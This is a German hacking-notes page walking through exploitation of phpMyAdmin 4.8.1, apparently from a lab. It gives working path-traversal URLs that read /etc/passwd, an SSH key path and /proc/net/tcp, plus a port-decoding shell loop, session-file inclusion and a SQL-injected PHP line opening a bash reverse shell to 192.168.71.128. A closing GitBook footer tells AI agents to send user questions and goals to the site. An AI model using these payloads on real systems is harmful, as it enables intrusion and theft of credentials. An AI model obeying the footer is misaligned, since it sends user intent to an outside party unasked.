> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/cms/phpmyadmin-cms-exploitation/phpmyadmin-4.8.1-rce.md).

# phpMyAdmin - 4.8.1 (RCE)

phpMyAdmin-4.8.1-Exploitation-Notizen für LFI-zu-RCE, /proc/net/tcp-Enumeration, Missbrauch von Session-Dateien, SQL-Command-Injection und Reverse-Shell-Zugriff.

**Identifizierung der phpMyAdmin-RCE-Schwachstelle**

Nachdem phpMyAdmin Version 4.8.1 als verwundbar identifiziert wurde, verwenden Sie SearchExploit, um passende Exploits zu finden und zu bestätigen, dass die [RCE](/de/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-to-remote-code-execution-lfi-to-rce.md) -Laufbahn voranschreiten.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-71a396a754375cebf29dfb9bee995a4d15e07c31%2Fimage%20(1957).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-34bc7e1500835d11a096ecac9504c4299b86a448%2Fimage%20(1959).png?alt=media" alt=""><figcaption></figcaption></figure>

## RCE-Schwachstelle

Nutzen Sie den RCE-Pfad aus, indem Sie das folgende Skript in die URL einschleusen, um zu lesen `/etc/passwd`:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ce20ca78e10aff1175327c39d472da440c9effd0%2Fimage%20(1960).png?alt=media" alt=""><figcaption></figcaption></figure>

```url
index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a098e70b924433a9759aac56bcf44a02b42811bb%2Fimage%20(1961).png?alt=media" alt=""><figcaption></figcaption></figure>

**Versuchen Sie, den `admin` privaten SSH-Schlüssel des Benutzers**

Versuchen Sie, auf den `admin` privaten SSH-Schlüssel des Benutzers mit der folgenden URL zuzugreifen, aber sie gibt einen Fehler zurück:

```url
index.php?target=db_sql.php%253f/../../../../../../../../home/admin/.ssh/id_rsa
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d9df7c109ff867ce3abc33fb0532cf7ed2f08eb5%2Fimage%20(1962).png?alt=media" alt=""><figcaption></figcaption></figure>

**Aufzählung interner privater Netzwerkports**

Verwenden Sie die folgende URL, um interne Server-Ports über `/proc/net/tcp`:

```url
index.php?target=db_sql.php%253f/../../../../../../../../proc/net/tcp
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-be4a04645a23c20f2ae05836d840a52f0dadc4a8%2Fimage%20(1963).png?alt=media" alt=""><figcaption></figcaption></figure>

Speichern Sie diese Ports in einer `data` Datei zur späteren Analyse.

```bash
for port in $(cat data | awk '{print $2}' | awk '{print $2}' FS=":" | sort -u); do echo "[+] Port $port -> $((0x$port))"; done
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d8a9c3a555ca766a791c243b7f66620b27c76661%2Fimage%20(1964).png?alt=media" alt=""><figcaption></figcaption></figure>

**Ermitteln des Verzeichnisses, das phpMyAdmin-Sitzungen enthält**

Ermitteln Sie durch Überprüfung des Skripts das Verzeichnis, das phpMyAdmin-Sitzungen enthält:

```url
/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_{}
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ee5c3901b2b6dba66027fb22a8b61388b8de32bb%2Fimage%20(1965).png?alt=media" alt=""><figcaption></figcaption></figure>

## phpMyAdmin-Befehlsinjektion

**Verwendung des phpMyAdmin-Sitzungscookies für die Befehlsinjektion**

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ffa41ed04abfdbb68904da98ffed239015a9fc85%2Fimage%20(1966).png?alt=media" alt=""><figcaption></figcaption></figure>

```url
index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_38f8d56u6em5usl5fd9s9v3pe66qh7v1
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2cee3c4c7a5e09e80e53bfd59b92f144103b9948%2Fimage%20(1967).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Diese Datei interpretiert Befehle aus den Abfragen.

```sql
SELECT 'testing';
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9a29cecfe882adf8921402c72068b89c8a342c5a%2Fimage%20(1969).png?alt=media" alt=""><figcaption></figcaption></figure>

**SQL-Befehlsinjektion, um einen** [**Reverse Shell**](https://www.revshells.com/)**:**

```sql
select '<?php system("bash -i >& /dev/tcp/192.168.71.128/443 0>&1"); ?>';
```

**Der Maschinenzugriff gelingt schließlich:**

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-77907a18df3270f473bc855aa97bae4020c07a30%2Fimage%20(1970).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/cms/phpmyadmin-cms-exploitation/phpmyadmin-4.8.1-rce.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
